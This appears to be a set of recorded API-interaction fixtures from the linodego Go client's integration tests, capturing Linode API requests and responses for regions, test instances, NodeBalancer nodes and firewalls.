X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228214 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancerNode_GetInstance.yaml000066400000000000000000000615631455402072200337210ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-h0u0mg999k1a","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 49708281, "label": "go-test-ins-h0u0mg999k1a", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.4.154"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "6eb83ed887a5cd4920fbeb92ba8047f660ef74f4", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "741" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708281/ips method: POST response: body: '{"address": "192.168.159.17", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 49708281, "region": "ap-west"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "183" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.159.17:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441125/configs/670343/nodes method: POST response: body: '{"id": 516206638, "address": "192.168.159.17:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670343, "nodebalancer_id": 441125}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "181" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441125/configs/670343/nodes/516206638 method: GET response: body: '{"id": 516206638, "address": "192.168.159.17:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670343, "nodebalancer_id": 441125}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "181" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441125/configs/670343/nodes/516206638 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708281 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancerNode_Update.yaml000066400000000000000000000620751455402072200327360ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228211, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 